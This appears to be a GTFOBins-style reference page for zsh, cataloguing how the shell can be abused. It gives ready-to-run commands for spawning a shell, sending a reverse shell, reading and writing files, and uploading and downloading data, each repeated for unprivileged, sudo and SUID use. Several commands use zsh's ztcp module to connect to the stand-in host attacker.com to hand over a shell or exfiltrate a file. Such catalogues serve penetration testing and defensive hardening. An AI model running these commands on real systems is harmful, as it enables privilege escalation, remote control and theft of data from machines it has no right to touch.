zsh
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
zshThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.zshThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.zsh
Reverse shell
This executable can send back a reverse system shell to a listening attacker.
- This function can be performed by any unprivileged user.
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
zsh -c 'echo DATA >/path/to/output-file'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.zsh -c 'echo DATA >/path/to/output-file'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.zsh -c 'echo DATA >/path/to/output-file'
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
zsh -c 'echo "$(</path/to/input-file)"'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.zsh -c 'echo "$(</path/to/input-file)"'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.zsh -c 'echo "$(</path/to/input-file)"' - This function can be performed by any unprivileged user.
zsh -c '</path/to/input-file'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.zsh -c '</path/to/input-file'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.zsh -c '</path/to/input-file'
Upload
This executable can upload local data.
- This function can be performed by any unprivileged user.
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'
Download
This executable can download remote data.
- This function can be performed by any unprivileged user.
zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'
Inherit
This executable can inherit functions from another.
- This function can be performed by any unprivileged user.
zsh -c '</etc/hosts'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.zsh -c '</etc/hosts'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.zsh -c '</etc/hosts'